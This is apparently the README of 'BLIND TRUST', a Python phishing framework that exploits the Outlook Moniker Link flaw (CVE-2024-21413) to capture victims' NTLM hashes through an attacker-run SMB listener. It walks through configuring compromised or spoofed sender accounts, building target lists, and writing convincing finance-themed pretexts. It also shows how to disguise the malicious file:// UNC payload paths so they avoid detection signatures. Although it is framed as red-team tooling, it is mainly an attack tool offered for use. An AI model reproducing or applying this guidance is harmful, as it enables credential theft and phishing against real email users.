BLIND TRUST - Moniker Link Phishing Engagement Framework

A security research tool for simulating targeted phishing campaigns using the CVE-2024-21413 Moniker Link vulnerability. Designed for authorized red team operations, penetration testing, and security awareness training.

Overview

BLIND TRUST is a phishing engagement framework that helps security teams understand and test their defenses against sophisticated email-based attacks. It leverages the Moniker Link technique to bypass Outlook's Protected View, providing a realistic attack simulation that organizations can use to strengthen their security posture.

This tool automates the end-to-end campaign workflow—from configuration through email delivery—while maintaining operational security through customizable UNC paths and flexible pretext options.

Purpose

Organizations need to understand real attack techniques to defend effectively. TRUST enables:

• Red team operations - Conduct authorized phishing campaigns as part of security assessments
• Security awareness training - Demonstrate real-world attack vectors to employees
• Vulnerability validation - Test detection capabilities against known techniques
• Defense research - Understand Moniker Link behavior in your environment

Features

• Multi-target campaigns - Send phishing emails to multiple targets with a single configuration
• Flexible target loading - Load targets via interactive input or wordlist-style .txt files
• Customizable pretext - Control email subject, sender display name, and body text
• Discrete UNC paths - Customize the Moniker Link path to appear realistic (domain, share name, exploit name)
• SMTP authentication - Support for various SMTP servers with TLS negotiation
• Automatic retry logic - Exponential backoff for transient SMTP failures
• Campaign reporting - Per-target delivery status with aggregated results
• No hardcoded signatures - Eliminate obvious indicators that expose the technique

Installation

Requirements

• Python 3.7+
• Standard library only (no external dependencies)

Setup

# Clone the repository
git clone https://github.com/h1ssbl1tz/Blind-Trust.git
cd TRUST

# Run the tool
python3 TRUST_v7.py

Requirements

The tool uses only Python standard library modules:

getpass      - Secure password input
html         - HTML escaping
ipaddress    - IP address validation
logging      - Structured logging
os           - File operations
re           - Regular expressions
signal       - Signal handling
smtplib      - SMTP email protocol
sys          - System utilities
time         - Time operations
dataclasses  - Configuration modeling
email        - MIME email construction
typing       - Type hints

No external packages required—runs anywhere with Python 3.7+.

Quick Start

python3 TRUST_v7.py

Follow the interactive wizard through 5 steps:

1. Attacker Credentials - SMTP account for sending emails
2. SMB Listener Setup - IP address where targets will connect
3. Target Configuration - Load victims from input or wordlist file
4. Email Customization - Subject, sender name, and body text
5. Payload Customization - UNC path host, share, and exploit names

Usage Examples

Example 1: Interactive Input (Small Campaign)

Load targets from [f]ile or [i]nput directly?: i
Target email address(es): [email protected], [email protected]

Email subject [Security Update Required]: Urgent: Password Expiration Notice
Display name (From field) [Microsoft Security Center]: IT Security Team
Email body text: Your password expires in 24 hours. Please update immediately.

UNC host (IP or domain) [192.168.1.100]: it-internal.company.com
UNC share name [updates]: patches
UNC exploit name [patch]: kb_security_2024

Example 2: Wordlist Loading (Large Campaign)

Create targets.txt:

# Finance Department
[email protected]
[email protected]
[email protected]

# Accounting
[email protected]
[email protected]

Then run:

Load targets from [f]ile or [i]nput directly?: f
Path to targets file: targets.txt
[+] Loaded 5 target(s) from targets.txt

Example 3: Realistic Finance Pretext

Email subject: Q3 Financial Review - Action Required
Display name: Finance Operations Team
Email body: Please review the attached Q3 financial statement and provide approval.

UNC host: finance-internal.company.com
UNC share: quarterly
UNC exploit: q3_financial_report

Generated UNC path: file://finance-internal.company.com/quarterly!q3_financial_report

Configuration Explained

STEP 1: Attacker Credentials

• Attacker email: The email address used to send phishing emails (typically a compromised or spoofed account)
• SMTP password: Authentication credential for the mail server

STEP 2: SMB Listener

• SMB listener IP: The IP address where your SMB listener (e.g., Responder, impacket-smbserver) is running. Targets will attempt to connect here when they click the Moniker Link.

STEP 3: Target Configuration

Two options:

• Interactive input: Paste emails directly (comma or newline separated)
• Wordlist file: Load from a .txt file with one email per line, comments starting with #

STEP 4: Email Customization

• Subject: Email subject line (avoid CVE references; keep it business-like)
• From display name: The friendly name shown in the email header
• Email body: The pretext text explaining why targets should click the link

STEP 5: Payload Customization

This is where you avoid obvious signatures:

• UNC host: Use a realistic domain or subdomain (e.g., finance-internal.company.com) instead of just an IP
• UNC share: Realistic share name like quarterly, updates, documents
• UNC exploit: Realistic file name like q3_report, security_patch, training_document

Result: Instead of the obvious \\192.168.1.100\share!exploit, you get something like file://finance-internal.company.com/quarterly!q3_report.

Execution Flow

Start
  ↓
[STEP 1] Prompt for attacker email and SMTP password
  ↓
[STEP 2] Prompt for SMB listener IP
  ↓
[STEP 3] Load target emails (file or input)
  ↓
     ↓→ For each target:
     │  - Validate email format
     │  - Check for duplicates
     │
[STEP 4] Prompt for email pretext
     │  - Subject, From name, body text
     │
[STEP 5] Prompt for UNC path customization
     │  - Host, share, exploit name
     │
  ↓
[BUILD] Construct configuration object
  ↓
[VALIDATE] Check all fields are present and valid
  ↓
[SUMMARY] Display pre-send summary for review
  ↓
[CONFIRM] User approves or cancels
  ↓
[SEND] For each target:
     │  - Build MIME email with custom Moniker Link
     │  - Attempt SMTP delivery with retry logic
     │  - Log per-target success/failure
     │
  ↓
[REPORT] Display campaign results (delivered vs failed)
  ↓
Exit

How It Works

The Vulnerability

CVE-2024-21413 (Moniker Link) is an Outlook vulnerability that allows embedding file:// URLs with a ! character. When a user clicks such a link, Outlook attempts to access the UNC path, triggering an NTLM authentication attempt even in Protected View mode.

Attack Flow

1. User receives an email with a Moniker Link
2. Email appears legitimate (thanks to your custom pretext)
3. User clicks the link
4. Outlook attempts to access \\host\share!exploit
5. The ! character bypasses Protected View
6. User's system authenticates to your SMB listener
7. You capture the NTLM hash or credential information

What This Tool Does

TRUST automates the delivery phase:

• Crafts realistic emails with custom pretext
• Injects the Moniker Link into HTML payload
• Manages SMTP connections and retries
• Handles multiple targets efficiently
• Provides campaign reporting

Troubleshooting